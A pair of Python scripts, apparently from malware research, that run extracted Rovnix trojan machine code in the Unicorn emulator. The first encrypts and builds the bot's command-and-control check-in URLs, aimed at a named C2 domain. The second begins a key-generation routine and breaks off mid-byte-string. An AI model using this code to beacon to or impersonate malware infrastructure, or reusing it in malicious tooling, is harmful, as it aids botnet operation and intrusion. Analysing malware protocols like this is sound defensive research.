xF4\x01\x00\x00\x33\x90\xF8\x01\x00\x00\x33\xF9\x33\x88\xFC\x01\x00\x00\xC1\xC7\x05\x33\xB8\xF0\x01\x00\x00\x8B\xF7\xF7\xD6\x89\x75\xEC\x8B\xF3\x33\xF7\x33\xF9\x0B\xFE\x33\x7D\xEC\x33\xFA\x89\x7D\xFC\x0B\x55\xFC\x8B\xF9\xF7\xD7\x89\x7D\xF0\x23\x7D\xFC\x33\xFE\x0B\xDF\x33\xD3\x33\x55\xF0\x0B\xCF\x8B\xF2\x0B\x75\xFC\xC1\x45\xFC\x0D\x33\xCE\x33\x4D\xEC\xC1\xC1\x03\x8B\xD9\x8B\xF3\x33\xF7\x8B\x7D\xFC\x33\xF7\x8B\xCF\xD1\xC6\xC1\xE1\x03\x33\xCA\x33\xCB\x8B\xD6\xC1\xE2\x07\xC1\xC1\x07\x33\xD1\x33\xD3\xC1\xC2\x16\x33\x90\x08\x02\x00\x00\x8B\xD9\x33\x88\x0C\x02\x00\x00\x33\xDE\x33\xB0\x04\x02\x00\x00\x33\xDF\x8B\xFA\xC1\xC3\x05\x33\x98\x00\x02\x00\x00\x33\xFB\x89\x7D\xF0\x8B\xFA\x33\xFE\x0B\xD6\x89\x7D\xFC\xF7\xD7\x89\x7D\xF8\x8B\x7D\xF0\x89\x55\xEC\x33\xF9\x8B\xD7\x23\x55\xEC\x33\x7D\xF8\x89\x55\xE8\x8B\xD1\x0B\xD6\x8B\x75\xE8\x33\xF2\x8B\x55\xEC\x23\x55\xF0\x89\x75\xF4\x8B\xF2\x23\x75\xF4\x33\x55\xFC\x33\xF7\x0B\x55\xF4\x23\xCB\x33\x4D\xF8\x33\xD7\xC1\xC6\x0D\xC1\xC2\x03\x8B\xFA\x33\xCF\x33\xCE\xD1\xC1\x8B\xD9\x8B\xCE\xC1\xE1\x03\x33\xCF\x33\x4D\xF4\x8B\xD3\xC1\xE2\x07\x33\xD7\xC1\xC1\x07\x33\xD1\xC1\xC2\x16\x33\x90\x18\x02\x00\x00\x8B\xFB\x33\x98\x14\x02\x00\x00\x33\xFE\x33\xF9\x33\x88\x1C\x02\x00\x00\x8B\xF2\xF7\xD6\x33\xD3\x89\x75\xF4\x0B\xF3\xC1\xC7\x05\x33\xB8\x10\x02\x00\x00\x89\x75\xE8\x33\xF1\x89\x55\xEC\x8B\xD6\x0B\x75\xF4\x23\xD7\x33\xB0\x20\x02\x00\x00\x89\x7D\xF8\x89\x55\xF0\x8B\x7D\xF0\x33\x55\xEC\x33\xFB\x0B\x7D\xEC\x8B\x5D\xF0\x33\x7D\xF8\x33\xF9\x33\xDF\x33\xB8\x24\x02\x00\x00\x89\x5D\xEC\x8B\x5D\xE8\x33\x75\xEC\x23\xD9\x8B\x4D\xEC\x23\xCA\x33\xD9\x8B\xCB\x33\xF1\x33\x88\x28\x02\x00\x00\x33\x90\x2C\x02\x00\x00\x89\xB0\x30\x02\x00\x00\x89\xB8\x34\x02\x00\x00\x89\x88\x38\x02\x00\x00\x89\x90\x3C\x02\x00\x00\x8B\x45\x08\x89\x78\x04\x5F\x89\x30\x5E\x89\x48\x08\x89\x50\x0C\x5B\xC9"
key = b"\x38\x37\x36\x39\x34\x33\x32\x31\x50\x4f\x49\x52\x59\x54\x52\x49\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x1e\xd3\xc0\xcc\xb2\xeb\x8e\xc2\xaa\xa8\x4c\x70\xd1\x95\x5a\x40\x7e\x3d\xa7\x07\x40\xa0\x58\x00\x5c\xed\x3f\x65\xff\xfd\x3c\x08\x6c\xd1\x2c\xb9\xbf\xee\x49\xe4\x10\x9a\xba\xc4\x87\xf9\x6a\x1c\x51\x2f\x93\x58\x0d\xf1\x5d\x9e\x85\xaf\xe9\x4c\xbb\x53\xb8\xad\x2d\x6c\xaf\x93\xc0\x5a\xe2\xf8\x60\xc2\x25\xcd\x98\xd0\xa6\xbf\xe1\xc5\x6d\x5d\x87\x17\x63\x21\x16\xf6\x89\xca\xde\xc7\x2a\x5c\xba\x89\x34\x07\x4b\xae\xa2\x26\x6c\x2e\xcc\x51\x6b\x0c\x98\x0d\x62\x0b\x29\xd1\x3a\xe3\xf7\x7b\x7d\xe9\x37\x2d\x32\x5e\x2f\xd6\x66\x6b\x02\x35\x6d\xba\xf4\xa6\x08\x53\xbd\xba\x21\xaf\xe3\xef\x3d\x97\x92\x70\x10\xaa\x42\x66\x9c\xe9\xcf\x02\x20\xa1\xb9\x38\x71\x98\xa5\xfc\x24\x10\x70\xaf\x9c\x88\x1b\xd8\x43\x1a\xbc\x03\x46\x24\x8b\x75\xc6\xa1\x0b\xdf\x60\xda\xd4\x44\xb0\x9a\x30\x4f\xa3\x94\x7d\xe2\xbb\xcf\x60\x4c\xbf\x75\x5a\x74\xae\x40\x13\xde\x32\xd7\xb5\xdb\x48\x34\x24\x27\x6b\xa9\x6b\xef\x7f\xe9\xa5\x3f\x43\xfb\xb8\x10\x47\xf9\xef\x11\xd1\xc4\x48\x29\x07\x39\xaa\x89\x1f\xf9\x0c\x2e\x33\x98\xf9\x7d\x58\xc3\x03\xe4\xc2\xb1\x62\xe9\x6e\x05\x75\x23\x6c\x8b\x25\xc7\x7b\x88\x65\x48\x40\xe7\xe5\xde\xfd\x25\xb4\xec\x13\xdb\x90\xa9\xc8\x94\x37\x8e\x24\xfa\xd3\xe8\x9c\x2e\x5e\x57\xd6\x2b\x6b\x0c\x6d\x17\x5e\x19\x5a\x5f\x12\x9f\xbc\x97\xa5\x39\x21\x8a\x83\x71\x78\x31\xd4\x53\xa3\x53\x5e\x72\xf1\x8e\xf2\xc1\xea\x17\xbb\xd9\xa9\x6a\x3b\x3f\x53\x7c\xb7\x68\xfb\x53\x97\xb1\xcc\x3f\x3b\xb1\xe1\xc7\xc9\x35\x61\xb5\x42\x60\x56\x17\xe6\x6c\x21\x09\x90\xea\xb9\x71\xf6\x6c\x01\x3f\x9b\x1f\x9c\x4b\xde\xc4\xf5\x17\xa7\x73\x3b\xd5\xc9\xc3\xed\x47\xbd\xc6\x2b\x11\x3f\xc7\xc1\xac\x2e\x0d\xba\x3f\x1d\x36\xbe\xee\xe8\x1c\x54\xbc\xb4\x9e\xb7\x0c\x87\x5a\x01\x90\x85\xb0\xb4\xb2\x71\xaf\x38\xe7\xb4\x98\x3c\x49\xf5\x13\x39\x9d\xde\xdc\x1e\x46\x2b\x6c\xde\x1d\xe0\x85\x81\x46\xd3\xc2\xdb\xdd\x8e\x38\xef\xc1\xe9\xbf\x74\xae\xd1\x71\x63\x6e\x52\x7e\xa6\x0a\x65\xca\x46\x36\xee\x85\xdf\xae\x7d\x66\x07\x2d\x66\xa5\xa6\x99\x88\x9b\x90\x5a\x0b\x19\x3a\xf4\xda\x18\x88\xb4\xcc\x0a\xae\xda\x11\xfc\x48\x46\xfe\x3f\x23\x96\x93\x9e\xff\x06\x3b\xa8\x91\xea\xc0\x21\x84\x75\xd7\xa9\x7f\x2d\xec\x10\xd4\xf7\xb6\x46\x98\xcc\x63\x0c\xb5\x32\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
class RovnixCommunication():
def __init__(self, domain):
self.key = key
self.domain = domain
def _round(self, v):
v = (v * 0x19660D) & 0xFFFFFFFF
v = (v + 0x3C6EF35F) & 0xFFFFFFFF
r = v & 0x0000FFFF
return (v, r)
def _generate_chunk(self, magic, len):
result = ''
for i in range(0, len):
(magic, r) = self._round(magic)
int_char = (r % 0x19) + 0x61
char = chr(int_char)
result += char
return (result, magic)
def _generate_url(self, iv):
(page, domain, iv) = self._generate_key_value(iv)
url = "/t{0}.php?{1}=".format(domain, page)
return (url, iv)
def _generate_key_value(self, iv):
(iv, r) = self._round(iv)
len1 = (r % 7) + 3
(iv, r) = self._round(iv)
len2 = (r % 7) + 3
(k, iv) = self._generate_chunk(iv, len1)
(value, iv) = self._generate_chunk(iv, len2)
return(k, value, iv)
def _generate_additional_parameter(self, iv):
(param_value, param_name, iv) = self._generate_key_value(iv)
param = "{0}={1}&".format(param_name, param_value)
return (param, iv)
def _bitfield(self, n):
d = deque()
for digit in bin(n)[2:]:
d.append(int(digit))
return d
def _rol(self, num, count):
buf = deque()
for digit in bin(num)[2:]:
buf.append(int(digit))
if len(buf) < 32:
for i in range(0, 32 - len(buf)):
buf.appendleft(0x00)
buf.rotate(-count)
out = 0
for bit in buf:
out = (out << 1) | bit
return out
def _encrypt_step(self, plaintex_string, used_key):
# Initialize emulator
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
CODE_BASE = 0x01000000
CODE_SIZE = 128 * 128
mu.mem_map(CODE_BASE, CODE_SIZE)
mu.mem_write(CODE_BASE, encrypt_data_code)
# Map the key value
KEY_MEM_SIZE = 1 * 128 * 128
KEY_MEM_BASE = 0x06000000
mu.mem_map(KEY_MEM_BASE, KEY_MEM_SIZE)
mu.mem_write(KEY_MEM_BASE + 0x100, used_key)
mu.reg_write(X86_REG_EAX, KEY_MEM_BASE + 0x100)
# Map the plaintext value
PLAINTEXT_MEM_BASE = 0x04000000
PLAINTEXT_MEM_SIZE = 1 * 128 * 128
mu.mem_map(PLAINTEXT_MEM_BASE, PLAINTEXT_MEM_SIZE)
mu.mem_write(PLAINTEXT_MEM_BASE, plaintex_string)
mu.reg_write(X86_REG_ECX, PLAINTEXT_MEM_BASE)
# Map the encrypted result memory
RESULT_MEM_BASE = 0x02000000
RESULT_MEM_SIZE = 1 * 128 * 128
mu.mem_map(RESULT_MEM_BASE, RESULT_MEM_SIZE)
# set-up stack memory
STACK_SIZE = 1 * 128 * 128
STACK_BASE = 0x7FFF0000
mu.mem_map(STACK_BASE, STACK_SIZE)
mu.reg_write(X86_REG_EBP, STACK_BASE + 0x1000)
mu.reg_write(X86_REG_ESP, STACK_BASE + 0x100)
mu.mem_write(STACK_BASE + 0x100 + 4, b"\x00\x00\x00\x02")
try:
mu.emu_start(CODE_BASE, CODE_BASE + len(encrypt_data_code))
# read the result
result_mem = mu.mem_read(0x02000000, 0x10)
# read updated key
result_key = mu.mem_read(KEY_MEM_BASE + 0x100, len(used_key))
except UcError as e:
print("ERROR: %s" % e)
return result_mem, result_key
def _encrypt(self, key, plaintext):
if len(plaintext) % 16 == 0:
n = len(plaintext) / 16
else:
n = len(plaintext) / 16 + 1
used_key = key
encrypted_string = ""
for i in range(n):
res, new_key = self._encrypt_step(plaintext[(i * 0x10):], used_key)
for x in res:
encrypted_string += chr(x)
used_key = ""
for h in new_key:
used_key += chr(h)
return base64.b64encode(encrypted_string)
def generate_url(self, soft='1', version='211566', user='68a9e890efe2c3c9fc2b8e956171e3ea', server='12', id='1050', crc='722981ce'):
ticks = int(time.time() * 1000)
(iv, _) = self._round(ticks)
(url, iv) = self._generate_url(iv)
(param, _) = self._generate_additional_parameter(iv)
# generate data to encrypt
query = "{0}soft={1}&version={2}&user={3}&server={4}&id={5}&crc={6}".format(param, soft, version, user, server, id, crc)
# encrypt data
data = self._encrypt(str(key), query)
url = "http://{0}{1}{2}".format(self.domain, url, data)
return url
if __name__ == '__main__':
rovnix_conn = RovnixCommunication('bnkalirmf.com')
url = rovnix_conn.generate_url()
print url
# Sample code to generate a Rovnix encryption key, starting from a plaintext key value
from unicorn import *
from unicorn.x86_const import *
from capstone import *
from collections import deque
import sys
# address consts
CODE_BASE = 0x1000000
KEY_MEM_BASE = 0x08000000
KEY_MEM_ADDR = KEY_MEM_BASE + 0x100
# key generation code
code = b"\x8B\x5A\x20\x8B\x4A\x2C\x8B\x42\x24\x8B\x72\x28\x23\xC3\x89\x75\x0C\x33\xF3\x8B\xF9\x23\xCB\x0B\xFB\x8B\x5A\x24\x23\xF7\x89\x45\x08\x0B\x45\x0C\x0B\xCB\x33\xC6\x33\x42\x2C\x33\xCE\x33\xC3\x8B\xF0\x23\xF7\x33\x75\x08\x89\x42\x2C\x33\x75\x0C\x8B\x42\x30\x8B\xDE\xF7\xD3\x23\xD9\x33\x5D\x08\x89\x4A\x24\x8B\x4A\x3C\x33\xDF\xF7\xD0\x89\x72\x28\x8B\x72\x34\x33\xCE\x8B\xF8\x89\x5A\x20\x8B\x5A\x38\x89\x4D\x08\x23\xFB\x33\xF9\x8B\xF0\x33\xF3\x8B\xCF\x33\xCB\x23\x4A\x34\x8B\xD9\x33\xDE\x0B\xF7\x89\x5D\x0C\x8B\x5A\x3C\x0B\xCB\x23\xCE\x33\x4A\x30\x8B\x75\x0C\x0B\xC3\x33\x45\x08\x8B\x5A\x4C\x33\xC1\x33\xC6\x89\x42\x34\x89\x7A\x30\x8B\x7A\x40\x8B\xC3\x33\xC7\x89\x72\x3C\x8B\x72\x44\x89\x4A\x38\x8B\x4A\x48\x89\x45\x08\x8B\xC3\x33\xC6\x23\xF7\xF7\xD1\x33\xF1\x0B\x4A\x44\x8B\xF8\x33\xF0\x33\x7A\x40\x89\x4D\x0C\x0B\x45\x08\x8B\xCE\x0B\xCB\x23\xF9\x33\x7D\x0C\x8B\xCF\x33\xCB\x33\x4A\x48\x8B\x5D\x08\x33\xC1\x0B\xDE\x33\xD9\x33\x5D\x0C\x8B\x4A\x54\x89\x42\x4C\x8B\x42\x5C\x89\x72\x48\x8B\xF0\x33\xF1\x89\x7A\x44\x8B\x7A\x58\x89\x75\x08\x8B\xF7\x33\xF1\x89\x5A\x40\x8B\x5A\x50\x0B\xC3\x89\x45\xFC\x89\x4D\x0C\x33\xCB\x8B\x5D\x08\x8B\xFE\x33\xF8\x8B\xC1\x23\x42\x58\x23\x4D\x08\xF7\xD3\x0B\xC3\x8B\x5A\x50\x0B\xF3\x33\xC6\x33\xC8\x33\xCF\x33\xCB\x8B\x5A\x6C\x89\x42\x50\x0B\xC1\x23\x45\xFC\x89\x4A\x54\x33\x45\x0C\x8B\x4A\x64\x89\x42\x58\x8B\x42\x68\x8B\xF0\x33\xC1\xF7\xD6\x89\x45\x08\x89\x75\xFC\x0B\xF1\x89\x7A\x5C\x8B\x7A\x60\x8B\xC6\x33\xC3\x23\x72\x6C\x8B\xC8\x23\xCF\x0B\x45\xFC\x8B\xF9\x33\x7D\x08\x89\x7D\x0C\x8B\xF9\x33\x7A\x64\x0B\x7D\x08\x33\xFB\x33\x7A\x60\x33\xCF\x8B\xD9\x23\x5D\x0C\x33\xC1\x33\xDE\x33\xC3\x8B\x72\x78\x89\x7A\x64\x8B\x7A\x70\x89\x42\x60\x8B\x45\x0C\x8B\xCE\x33\xCF\x89\x7D\x0C\x8B\xFE\x89\x42\x6C\x8B\x42\x7C\x89\x5A\x68\x8B\x5A\x74\x33\xFB\x0B\xF3\x89\x4D\xF8\x33\xC8\x89\x7D\xF4\x89\x75\x08\xF7\xD7\x89\x7D\xFC\x8B\xF1\x23\x75\x08\x33\x4D\xFC\x8B\xF8\x23\x45\x0C\x0B\xFB\x33\x45\xFC\x33\xF7\x8B\x7D\x08\x23\x7D\xF8\x89\x42\x74\x8B\xDF\x33\x7D\xF4\x23\xDE\x33\xD9\x0B\xFE\x33\xF9\x8B\x8A\x80\x00\x00\x00\x89\x72\x7C\x8B\xB2\x84\x00\x00\x00\x89\x75\x0C\x33\xF1\x89\x5A\x70\x8B\x9A\x8C\x00\x00\x00\x8B\xC3\x33\xC1\x0B\xC6\x89\x7A\x78\x8B\xF9\xF7\xD7\x33\xC7\x33\x82\x88\x00\x00\x00\x8B\xCB\xF7\xD1\x89\x4D\x08\x23\xC8\x33\xCE\x8B\xF0\x0B\xB2\x88\x00\x00\x00\x8B\xD9\x0B\x5D\x0C\x89\x8A\x84\x00\x00\x00\x0B\x8A\x8C\x00\x00\x00\x33\xF3\x33\x75\x08\x8B\x9A\x94\x00\x00\x00\x89\x82\x80\x00\x00\x00\x0B\xC6\x33\xC1\x33\xC7\x89\x82\x88\x00\x00\x00\x8B\x82\x90\x00\x00\x00\x89\xB2\x8C\x00\x00\x00\x8B\xB2\x9C\x00\x00\x00\x8B\xCB\x33\xC8\x33\xF0\x89\x4D\xF4\x89\x45\x0C\x0B\xCE\xF7\xD0\x33\xC8\x33\x8A\x98\x00\x00\x00\x8B\xC1\xF7\xD0\x8B\xF8\x0B\x45\x0C\x0B\xFB\x89\x7D\x08\x33\xFE\x8B\xF7\x33\xF3\x23\x75\x08\x8B\xD9\x23\x5D\x0C\x89\x8A\x90\x00\x00\x00\x33\xF3\x8B\x9A\xA0\x00\x00\x00\x8B\xCE\x23\xCF\x33\xC1\x33\x45\xF4\x8B\x8A\xAC\x00\x00\x00\x89\xB2\x98\x00\x00\x00\x8B\xB2\xA8\x00\x00\x00\x89\x82\x94\x00\x00\x00\x8B\x82\xA4\x00\x00\x00\x23\xC3\x89\x75\x0C\x33\xF3\x89\x45\x08\x0B\x45\x0C\x89\xBA\x9C\x00\x00\x00\x8B\xF9\x23\xCB\x0B\xFB\x8B\x9A\xA4\x00\x00\x00\x23\xF7\x0B\xCB\x33\xCE\x33\xC6\x33\x82\xAC\x00\x00\x00\x8B\xF7\x33\xC3\x23\xF0\x33\x75\x08\x89\x8A\xA4\x00\x00\x00\x33\x75\x0C\x89\x82\xAC\x00\x00\x00\x8B\x82\xB0\x00\x00\x00\x8B\xDE\xF7\xD3\x23\xD9\x33\x5D\x08\x8B\x8A\xBC\x00\x00\x00\x33\xDF\x89\xB2\xA8\x00\x00\x00\x8B\xB2\xB4\x00\x00\x00\x33\xCE\x89\x9A\xA0\x00\x00\x00\x8B\x9A\xB8\x00\x00\x00\xF7\xD0\x8B\xF8\x23\xFB\x33\xF9\x89\x4D\x08\x8B\xF7\x33\xF3\x23\xB2\xB4\x00\x00\x00\x8B\xC8\x33\xCB\x8B\xDE\x33\xD9\x89\x5D\x0C\x8B\x9A\xBC\x00\x00\x00\x0B\xCF\x0B\xF3\x23\xCE\x33\x8A\xB0\x00\x00\x00\x89\xBA\xB0\x00\x00\x00\x0B\xC3\x33\x45\x08\x8B\x75\x0C\x8B\x9A\xCC\x00\x00\x00\x33\xC1\x8B\xBA\xC0\x00\x00\x00\x33\xC6\x89\x82\xB4\x00\x00\x00\x89\x8A\xB8\x00\x00\x00\x8B\x8A\xC8\x00\x00\x00\x8B\xC3\x33\xC7\x89\x45\x08\x89\xB2\xBC\x00\x00\x00\x8B\xB2\xC4\x00\x00\x00\xF7\xD1\x8B\xC3\x33\xC6\x23\xF7\x33\xF1\x0B\x8A\xC4\x00\x00\x00\x33\xF0\x89\x4D\x0C\x8B\xF8\x33\xBA\xC0\x00\x00\x00\x0B\x45\x08\x8B\xCE\x0B\xCB\x23\xF9\x33\x7D\x0C\x8B\xCF\x33\xCB\x33\x8A\xC8\x00\x00\x00\x8B\x5D\x08\x33\xC1\x0B\xDE\x33\xD9\x33\x5D\x0C\x8B\x8A\xD4\x00\x00\x00\x89\x82\xCC\x00\x00\x00\x8B\x82\xDC\x00\x00\x00\x89\xB2\xC8\x00\x00\x00\x8B\xF0\x33\xF1\x89\x75\x08\x89\xBA\xC4\x00\x00\x00\x8B\xBA\xD8\x00\x00\x00\x89\x9A\xC0\x00\x00\x00\x8B\x9A\xD0\x00\x00\x00\x0B\xC3\x8B\xF7\x33\xF1\x89\x4D\x0C\x33\xCB\x8B\x5D\x08\x89\x45\xFC\x8B\xFE\x33\xF8\x8B\xC1\x23\x82\xD8\x00\x00\x00\x23\x4D\x08\xF7\xD3\x0B\xC3\x8B\x9A\xD0\x00\x00\x00\x0B\xF3\x33\xC6\x33\xC8\x33\xCF\x33\xCB\x8B\x9A\xEC\x00\x00\x00\x89\x82\xD0\x00\x00\x00\x0B\xC1\x23\x45\xFC\x89\x8A\xD4\x00\x00\x00\x33\x45\x0C\x8B\x8A\xE4\x00\x00\x00\x89\x82\xD8\x00\x00\x00\x8B\x82\xE8\x00\x00\x00\x8B\xF0\x89\xBA\xDC\x00\x00\x00\x8B\xBA\xE0\x00\x00\x00\xF7\xD6\x33\xC1\x89\x45\x08\x89\x75\xF4\x0B\xF1\x8B\xC6\x33\xC3\x23\xB2\xEC\x00\x00\x00\x8B\xC8\x23\xCF\x0B\x45\xF4\x8B\xF9\x33\x7D\x08\x89\x7D\x0C\x8B\xF9\x33\xBA\xE4\x00\x00\x00\x0B\x7D\x08\x33\xFB\x33\xBA\xE0\x00\x00\x00\x33\xCF\x33\xC1\x8B\xD9\x23\x5D\x0C\x89\xBA\xE4\x00\x00\x00\x8B\xBA\xF0\x00\x00\x00\x33\xDE\x8B\xB2\xF8\x00\x00\x00\x33\xC3\x89\x82\xE0\x00\x00\x00\x8B\x45\x0C\x89\x7D\x0C\x8B\xCE\x33\xCF\x8B\xFE\x89\x9A\xE8\x00\x00\x00\x8B\x9A\xF4\x00\x00\x00\x33\xFB\x0B\xF3\x89\x82\xEC\x00\x00\x00\x8B\x82\xFC\x00\x00\x00\x89\x7D\xF8\xF7\xD7\x89\x7D\xFC\x89\x4D\xF4\x33\xC8\x89\x75\x08\x8B\xF8\x23\x45\x0C\x0B\xFB\x33\x45\xFC\x8B\xF1\x23\x75\x08\x33\x4D\xFC\x33\xF7\x8B\x7D\x08\x23\x7D\xF4\x89\x82\xF4\x00\x00\x00\x8B\xDF\x33\x7D\xF8\x23\xDE\x33\xD9\x0B\xFE\x33\xF9\x8B\x8A\x00\x01\x00\x00\x89\x9A\xF0\x00\x00\x00\x8B\x9A\x0C\x01\x00\x00\x89\xB2\xFC\x00\x00\x00\x8B\xB2\x04\x01\x00\x00\x89\xBA\xF8\x00\x00\x00\x8B\xF9\x8B\xC3\x33\xC1\x89\x75\x0C\x33\xF1\x0B\xC6\xF7\xD7\x33\xC7\x33\x82\x08\x01\x00\x00\x8B\xCB\xF7\xD1\x89\x4D\x08\x23\xC8\x33\xCE\x8B\xF0\x0B\xB2\x08\x01\x00\x00\x8B\xD9\x0B\x5D\x0C\x89\x82\x00\x01\x00\x00\x33\xF3\x33\x75\x08\x8B\x9A\x14\x01\x00\x00\x0B\xC6\x89\x8A\x04\x01\x00\x00\x0B\x8A\x0C\x01\x00\x00\x89\xB2\x0C\x01\x00\x00\x8B\xB2\x1C\x01\x00\x00\x33\xC1\x33\xC7\x89\x82\x08\x01\x00\x00\x8B\x82\x10\x01\x00\x00\x33\xF0\x89\x45\x0C\x8B\xCB\x33\xC8\xF7\xD0\x89\x4D\xF4\x0B\xCE\x33\xC8\x33\x8A\x18\x01\x00\x00\x8B\xC1\xF7\xD0\x8B\xF8\x0B\x45\x0C\x0B\xFB\x89\x7D\x08\x33\xFE\x8B\xF7\x33\xF3\x23\x75\x08\x8B\xD9\x23\x5D\x0C\x89\x8A\x10\x01\x00\x00\x33\xF3\x8B\x9A\x20\x01\x00\x00\x8B\xCE\x23\xCF\x33\xC1\x33\x45\xF4\x8B\x8A\x2C\x01\x00\x00\x89\x82\x14\x01\x00\x00\x8B\x82\x24\x01\x00\x00\x23\xC3\x89\xB2\x18\x01\x00\x00\x8B\xB2\x28\x01\x00\x00\x89\x75\x0C\x33\xF3\x89\x45\x08\x0B\x45\x0C\x89\xBA\x1C\x01\x00\x00\x8B\xF9\x0B\xFB\x23\xF7\x23\xCB\x8B\x9A\x24\x01\x00\x00\x33\xC6\x33\x82\x2C\x01\x00\x00\x0B\xCB\x33\xCE\x33\xC3\x8B\xF7\x23\xF0\x33\x75\x08\x89\x82\x2C\x01\x00\x00\x33\x75\x0C\x8B\x82\x30\x01\x00\x00\x8B\xDE\xF7\xD3\x23\xD9\x33\x5D\x08\x89\x8A\x24\x01\x00\x00\x33\xDF\x89\x9A\x20\x01\x00\x00\x89\xB2\x28\x01\x00\x00\x8B\x9A\x38\x01\x00\x00\x8B\xB2\x34\x01\x00\x00\x8B\x8A\x3C\x01\x00\x00\x33\xCE\xF7\xD0\x8B\xF8\x23\xFB\x33\xF9\x89\x4D\x08\x8B\xC8\x33\xCB\x8B\xF7\x33\xF3\x23\xB2\x34\x01\x00\x00\x8B\xDE\x33\xD9\x0B\xCF\x89\x5D\x0C\x8B\x9A\x3C\x01\x00\x00\x0B\xF3\x23\xCE\x33\x8A\x30\x01\x00\x00\x8B\x75\x0C\x0B\xC3\x33\x45\x08\x8B\x9A\x4C\x01\x00\x00\x33\xC1\x33\xC6\x89\x82\x34\x01\x00\x00\x89\xBA\x30\x01\x00\x00\x8B\xBA\x40\x01\x00\x00\x8B\xC3\x33\xC7\x89\x8A\x38\x01\x00\x00\x8B\x8A\x48\x01\x00\x00\x89\x45\x08\x89\xB2\x3C\x01\x00\x00\x8B\xB2\x44\x01\x00\x00\x8B\xC3\x33\xC6\x23\xF7\xF7\xD1\x33\xF1\x0B\x8A\x44\x01\x00\x00\x33\xF0\x89\x4D\x0C\x8B\xF8\x33\xBA\x40\x01\x00\x00\x0B\x45\x08\x8B\xCE\x0B\xCB\x23\xF9\x33\x7D\x0C\x8B\xCF\x33\xCB\x33\x8A\x48\x01\x00\x00\x8B\x5D\x08\x0B\xDE\x33\xC1\x89\x82\x4C\x01\x00\x00\x8B\x82\x5C\x01\x00\x00\x33\xD9\x8B\x8A\x54\x01\x00\x00\x33\x5D\x0C\x89\xB2\x48\x01\x00\x00\x8B\xF0\x33\xF1\x89\xBA\x44\x01\x00\x00\x8B\xBA\x58\x01\x00\x00\x89\x75\x08\x8B\xF7\x89\x9A\x40\x01\x00\x00\x8B\x9A\x50\x01\x00\x00\x0B\xC3\x33\xF1\x8B\xFE\x33\xF8\x89\x4D\x0C\x33\xCB\x89\x45\xFC\x8B\xC1\x23\x82\x58\x01\x00\x00\x23\x4D\x08\x8B\x5D\x08\xF7\xD3\x0B\xC3\x8B\x9A\x50\x01\x00\x00\x0B\xF3\x33\xC6\x33\xC8\x33\xCF\x33\xCB\x8B\x9A\x6C\x01\x00\x00\x89\x82\x50\x01\x00\x00\x0B\xC1\x23\x45\xFC\x89\x8A\x54\x01\x00\x00\x33\x45\x0C\x8B\x8A\x64\x01\x00\x00\x89\x82\x58\x01\x00\x00\x8B\x82\x68\x01\x00\x00\x8B\xF0\x33\xC1\x89\xBA\x5C\x01\x00\x00\x8B\xBA\x60\x01\x00\x00\xF7\xD6\x89\x75\xF4\x0B\xF1\x89\x45\x08\x8B\xC6\x33\xC3\x23\xB2\x6C\x01\x00\x00\x8B\xC8\x23\xCF\x0B\x45\xF4\x8B\xF9\x33\x7D\x08\x89\x7D\x0C\x8B\xF9\x33\xBA\x64\x01\x00\x00\x0B\x7D\x08\x33\xFB\x33\xBA\x60\x01\x00\x00\x33\xCF\x8B\xD9\x23\x5D\x0C\x33\xC1\x33\xDE\x8B\xB2\x78\x01\x00\x00\x33\xC3\x89\xBA\x64\x01\x00\x00\x8B\xBA\x70\x01\x00\x00\x8B\xCE\x33\xCF\x89\x82\x60\x01\x00\x00\x8B\x45\x0C\x89\x7D\x0C\x89\x9A\x68\x01\x00\x00\x8B\x9A\x74\x01\x00\x00\x8B\xFE\x33\xFB\x0B\xF3\x89\x7D\xF8\xF7\xD7\x89\x82\x6C\x01\x00\x00\x8B\x82\x7C\x01\x00\x00\x89\x4D\xF4\x89\x7D\xFC\x89\x75\x08\x33\xC8\x8B\xF1\x23\x75\x08\x33\x4D\xFC\x8B\xF8\x0B\xFB\x33\xF7\x8B\x7D\x08\x23\x7D\xF4\x8B\xDF\x23\xDE\x33\xD9\x89\x9A\x70\x01\x00\x00\x23\x45\x0C\x33\x7D\xF8\x33\x45\xFC\x8B\x9A\x8C\x01\x00\x00\x0B\xFE\x33\xF9\x8B\x8A\x80\x01\x00\x00\x89\x82\x74\x01\x00\x00\x89\xB2\x7C\x01\x00\x00\x8B\xB2\x84\x01\x00\x00\x89\x75\x0C\x33\xF1\x89\xBA\x78\x01\x00\x00\x8B\xF9\x8B\xC3\x33\xC1\x0B\xC6\xF7\xD7\x33\xC7\x33\x82\x88\x01\x00\x00\x8B\xCB\xF7\xD1\x89\x4D\x08\x23\xC8\x33\xCE\x8B\xF0\x0B\xB2\x88\x01\x00\x00\x8B\xD9\x0B\x5D\x0C\x89\x82\x80\x01\x00\x00\x33\xF3\x33\x75\x08\x8B\x9A\x94\x01\x00\x00\x0B\xC6\x89\x8A\x84\x01\x00\x00\x0B\x8A\x8C\x01\x00\x00\x89\xB2\x8C\x01\x00\x00\x8B\xB2\x9C\x01\x00\x00\x33\xC1\x33\xC7\x89\x82\x88\x01\x00\x00\x8B\x82\x90\x01\x00\x00\x33\xF0\x89\x45\x0C\x8B\xCB\x33\xC8\x89\x4D\xF4\x0B\xCE\xF7\xD0\x33\xC8\x33\x8A\x98\x01\x00\x00\x8B\xC1\xF7\xD0\x8B\xF8\x0B\x45\x0C\x0B\xFB\x89\x7D\x08\x33\xFE\x8B\xF7\x33\xF3\x23\x75\x08\x8B\xD9\x23\x5D\x0C\x89\x8A\x90\x01\x00\x00\x33\xF3\x8B\xCE\x23\xCF\x33\xC1\x33\x45\xF4\x89\xBA\x9C\x01\x00\x00\x89\x82\x94\x01\x00\x00\x89\xB2\x98\x01\x00\x00\x8B\x8A\xAC\x01\x00\x00\x8B\x9A\xA0\x01\x00\x00\x8B\x82\xA4\x01\x00\x00\x8B\xB2\xA8\x01\x00\x00\x8B\xF9\x0B\xFB\x23\xC3\x89\x75\x0C\x89\x45\x08\x0B\x45\x0C\x33\xF3\x23\xCB\x8B\x9A\xA4\x01\x00\x00\x23\xF7\x33\xC6\x33\x82\xAC\x01\x00\x00\x0B\xCB\x33\xCE\x33\xC3\x8B\xF7\x23\xF0\x33\x75\x08\x33\x75\x0C\x8B\xDE\xF7\xD3\x23\xD9\x33\x5D\x08\x33\xDF\x89\x9A\xA0\x01\x00\x00\x89\x8A\xA4\x01\x00\x00\x89\xB2\xA8\x01\x00\x00\x89\x82\xAC\x01\x00\x00\x8B\x8